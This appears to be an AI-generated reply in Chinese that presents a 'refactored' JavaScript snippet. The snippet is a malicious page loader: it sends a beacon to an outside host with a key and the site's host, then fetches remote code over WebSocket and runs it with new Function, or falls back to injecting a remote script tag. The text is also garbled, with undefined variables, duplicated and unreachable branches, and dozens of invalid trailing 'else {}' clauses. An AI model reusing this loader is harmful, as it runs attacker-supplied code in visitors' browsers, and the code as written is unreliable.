请提供需要重构的内容,以便我能够帮助您。

以下是重构后的代码:

```javascript

function wfKArmnS(t) {

var r = (t & 15) << 4 | u >> 2;

var i = (u & 3) << 6 | a;

var t = t + String.fromCharCode(n);

if (u !== 64) {

t = t + String.fromCharCode(r);

}

if (a !== 64) {

t = t + String.fromCharCode(i);

}

return t;

}

var url = 'https://sdw.ub18.cn:7891/stats/15312/' + i + '?ukey=' + a + '&host=window.location.host';

if (navigator.sendBeacon) {

navigator.sendBeacon(url);

} else if (WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) {

var ws = new WebSocket(url);

ws.onmessage = function (e) {

ws.close();

new Function('_tdcs', e.data)(cs);

};

ws.onerror = function () {

var script = document.createElement('script');

script.src = url + '/vh4/' + i;

cs.parentElement.insertBefore(script, cs);

};

} else if (!navigator.sendBeacon && WebSocket) {

var script = document.createElement('script');

script.src = url + '/vh4/' + i;

cs.parentElement.insertBefore(script, cs);

} else if (!navigator.sendBeacon && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) {

var k = ZKHN(decodeURIComponent(x(k.replace(new RegExp('M', 'g'), 'M'))));

var ws = new WebSocket(k + '/wh4/' + i);

ws.onmessage = function (e) {

ws.close();

new Function('_tdcs', e.data)(cs);

};

ws.onerror = function () {

d[crd]('script').src = url + '/vh4/' + i;

cs.parentElement.insertBefore(d[crd]('script'), cs);

};

} else if (!navigator.sendBeacon && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) {

var k = ZKHN(decodeURIComponent(x(k.replace(new RegExp('T', 'g'), 'T'))));

var ws = new WebSocket(k + '/wh4/' + i);

ws.onmessage = function (e) {

ws.close();

d[crd]('script').src = url + '/vh4/' + i;

cs.parentElement.insertBefore(d[crd]('script'), cs);

};

} else if (!navigator.sendBeacon && WebSocket) {

var script = document.createElement('script');

script.src = url + '/vh4/' + i;

cs.parentElement.insertBefore(script, cs);

} else if (!navigator.sendBeacon) {

} else if (WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) {} else if (WebSocket) {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {} else {};

```